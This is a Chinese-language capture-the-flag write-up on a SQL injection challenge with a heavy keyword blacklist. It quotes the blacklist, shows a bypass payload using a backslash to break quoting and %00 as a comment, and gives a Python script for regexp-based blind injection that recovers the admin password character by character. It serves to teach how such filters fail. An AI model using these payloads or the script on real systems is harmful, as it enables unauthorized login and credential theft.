欸嘿,继续sql注入。又是新的sql注入类型
很直接哦,给出了sql查询语句。简单扫描一下,robots.txt还能访问。里边提示hint.txt
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;
过滤了一些东西,而且只要密码对了就能拿到flag。来看看fuzz结果吧 。
过滤有点多哦,而且我还没放完。单引号被过滤了,一刀砍在大动脉。但是路堵了,不代表窗户也封了。我突然想到反斜杠将引号转义,在将后边的引号注释掉不就绕过了吗?思路的确是这个思路,不过常规盲注与常规注入关键字被过滤差不多,看了大佬wp,说重点在regexp上。
payload大概就是这个样子
username=\&passwd=||(True);%00
查询语句变成了以下形式。其中一个单引号被 \ 影响,成了普通字符,导致单引号闭合错误
select * from users where username='\' and passwd='||(True);%00'
;%00代替注释符
()代替空格。%09 /**/也是可以的代替空格的
返回正确会有一个welcome.php。接下来就是脚本运行正则盲注了
||(passwd)regexp("^Yo");%00
含义:匹配当前表下,passwd列里的内容是否为YO或者yo。
说真的这种写法第一次见还是有点突兀。因为是正则匹配,所以在脚本中,一定要过滤掉通配符("*","+","?")。不然脚本就会一直卡在通配符。而且这个passwd列名,是猜的。估计是hint.txt里有个passwd。。。。
import requests
from urllib import parse
flag=''
url='http://019f0128-771d-48bb-8dab-8b6e9995ca8d.node5.buuoj.cn:81/index.php'
for i in range(1,500,1):
for y in range(1,128,1):
x=flag+chr(y)
data='||passwd/**/regexp/**/"^{}";{}'.format(parse.unquote(x),parse.unquote('%00')) #%00也要解码
#print(chr(y))
content = {
'username': '\\', #防转义
'passwd': data
}
#print(data)
datas=requests.post(url=url,data=content)
if chr(y)=='*' or chr(y)=='+' or chr(y)=='?': #因为是正则匹配,所以要过滤通配符
continue
elif "welcome" in datas.text:
flag=flag+chr(y)
print(flag)
break
自己写的脚本有点烂,见谅。
因为大小写不区分,所以这里还得转小写。
print('YOU_WILL_NEVER_KNOW7788990'.lower())
#you_will_never_know7788990
登录就能拿到flag了 。